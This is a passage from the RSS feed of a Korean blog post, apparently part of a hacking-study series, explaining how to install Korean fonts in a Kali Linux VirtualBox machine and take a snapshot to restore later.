this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;1번 밑줄을 #으로 주석처리해주고 위의 사진 화살표와 같이 입력해준다.&lt;/p&gt;
&lt;p&gt;이렇게 입력을 한다면 칼리 저장소가 아닌 데비안 저장소를 사용하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;컨트롤 + x를 누르고&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;56.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;645&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buUvOn/btqFiQjmQXR/CUK1NDr03j3FV07lrfJem1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buUvOn/btqFiQjmQXR/CUK1NDr03j3FV07lrfJem1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buUvOn/btqFiQjmQXR/CUK1NDr03j3FV07lrfJem1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuUvOn%2FbtqFiQjmQXR%2FCUK1NDr03j3FV07lrfJem1%2Fimg.png&quot; data-filename=&quot;56.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;645&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;y를 눌러서 저장&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;57.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;648&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQwXoW/btqFfYJ5wwv/H2i9IW4xRKZVD6XbIfR7nK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQwXoW/btqFfYJ5wwv/H2i9IW4xRKZVD6XbIfR7nK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQwXoW/btqFfYJ5wwv/H2i9IW4xRKZVD6XbIfR7nK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQwXoW%2FbtqFfYJ5wwv%2FH2i9IW4xRKZVD6XbIfR7nK%2Fimg.png&quot; data-filename=&quot;57.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;648&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;엔터를 해서 나오면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;58.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oYa0I/btqFiPraR8I/ICo7fxb0pBerOpIVr8Kw41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oYa0I/btqFiPraR8I/ICo7fxb0pBerOpIVr8Kw41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oYa0I/btqFiPraR8I/ICo7fxb0pBerOpIVr8Kw41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoYa0I%2FbtqFiPraR8I%2FICo7fxb0pBerOpIVr8Kw41%2Fimg.png&quot; data-filename=&quot;58.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그다음 apt-get update를 입력한다.&lt;/p&gt;
&lt;p&gt;(변경된 내용 적용)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;59.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3kmzO/btqFfX5tuEQ/yO3C7XVtSLS53R5ECy4pRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3kmzO/btqFfX5tuEQ/yO3C7XVtSLS53R5ECy4pRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3kmzO/btqFfX5tuEQ/yO3C7XVtSLS53R5ECy4pRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3kmzO%2FbtqFfX5tuEQ%2FyO3C7XVtSLS53R5ECy4pRK%2Fimg.png&quot; data-filename=&quot;59.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;완료가 되면 apt-get install -y fonts-nanum을 다시 입력해준다,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;60.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nVeQv/btqFjczGCFo/KYLKBgzfqLdwl6DPNlGl01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nVeQv/btqFjczGCFo/KYLKBgzfqLdwl6DPNlGl01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nVeQv/btqFjczGCFo/KYLKBgzfqLdwl6DPNlGl01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnVeQv%2FbtqFjczGCFo%2FKYLKBgzfqLdwl6DPNlGl01%2Fimg.png&quot; data-filename=&quot;60.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이제 폰트가 잘 설치되는 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;61.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LjCSe/btqFjdL7n7M/son8EfrvrBINxyr2akm3Uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LjCSe/btqFjdL7n7M/son8EfrvrBINxyr2akm3Uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LjCSe/btqFjdL7n7M/son8EfrvrBINxyr2akm3Uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLjCSe%2FbtqFjdL7n7M%2Fson8EfrvrBINxyr2akm3Uk%2Fimg.png&quot; data-filename=&quot;61.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;652&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 fc-ache -f -v를 입력한다. (폰트를 캐시에 추가)&lt;/p&gt;
&lt;p&gt;그리고 네이버를 다시 접속해보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;62.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;657&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWKfvX/btqFjcGrJQN/MOuydfkNcdoC1YRRwFrLa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWKfvX/btqFjcGrJQN/MOuydfkNcdoC1YRRwFrLa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWKfvX/btqFjcGrJQN/MOuydfkNcdoC1YRRwFrLa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWKfvX%2FbtqFjcGrJQN%2FMOuydfkNcdoC1YRRwFrLa0%2Fimg.png&quot; data-filename=&quot;62.PNG&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;690&quot; width=&quot;657&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;폰트가 잘 입력되었다는 것을 알 수 있다.&lt;/p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; data-mce-fragment=&quot;1&quot;&gt;&lt;/script&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script data-mce-fragment=&quot;1&quot;&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;63.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;765&quot; width=&quot;659&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cm4hBy/btqFizWrhtU/TFrjJpTosq9HmRNW9A75K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cm4hBy/btqFizWrhtU/TFrjJpTosq9HmRNW9A75K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cm4hBy/btqFizWrhtU/TFrjJpTosq9HmRNW9A75K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcm4hBy%2FbtqFizWrhtU%2FTFrjJpTosq9HmRNW9A75K0%2Fimg.png&quot; data-filename=&quot;63.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;765&quot; width=&quot;659&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;다시 버추얼박스로 돌아와서 위의 버튼을 클릭하고 스냅샷을 누른다.&lt;/p&gt;
&lt;p&gt;스냅샷을 하나 만든다. (복원 지점을 다시 만들어두는 것)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;64.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;773&quot; width=&quot;656&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tA0D3/btqFjdL8uGL/LkUPVkqTvAFWQqgkxKA28K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tA0D3/btqFjdL8uGL/LkUPVkqTvAFWQqgkxKA28K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tA0D3/btqFjdL8uGL/LkUPVkqTvAFWQqgkxKA28K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtA0D3%2FbtqFjdL8uGL%2FLkUPVkqTvAFWQqgkxKA28K%2Fimg.png&quot; data-filename=&quot;64.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;773&quot; width=&quot;656&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;찍기 버튼을 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;65.PNG&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;399&quot; width=&quot;452&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/da24Fw/btqFgxlcUgt/Behn0utKDcHVPLphxKJiqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/da24Fw/btqFgxlcUgt/Behn0utKDcHVPLphxKJiqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/da24Fw/btqFgxlcUgt/Behn0utKDcHVPLphxKJiqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fda24Fw%2FbtqFgxlcUgt%2FBehn0utKDcHVPLphxKJiqk%2Fimg.png&quot; data-filename=&quot;65.PNG&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;399&quot; width=&quot;452&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 이런 창이 뜨는데 원하는 스냅샷 이름과 설명을 적고 확인을 눌러준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;나중에 칼리 리눅스를 지금 상태로 복원을 하고 싶다면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;66.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;765&quot; width=&quot;667&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boIJxz/btqFgyj79Ia/4asRvDf2C5XsBkbgysEmcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boIJxz/btqFgyj79Ia/4asRvDf2C5XsBkbgysEmcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boIJxz/btqFgyj79Ia/4asRvDf2C5XsBkbgysEmcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboIJxz%2FbtqFgyj79Ia%2F4asRvDf2C5XsBkbgysEmcK%2Fimg.png&quot; data-filename=&quot;66.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;765&quot; width=&quot;667&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;오른쪽 버튼을 누른 다음 복원을 눌러주면 된다.&lt;/p&gt;
&lt;p&gt;(현재는 칼리 리눅스가 동작하고 있기 때문에 위의 사진처럼 비활성화 상태이다.)&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>모의해킹</category>
      <category>버추얼박스</category>
      <category>칼리리눅스</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/10</guid>
      <comments>https://geru.tistory.com/10#entry10comment</comments>
      <pubDate>Tue, 30 Jun 2020 23:22:51 +0900</pubDate>
    </item>
  </channel>
</rss>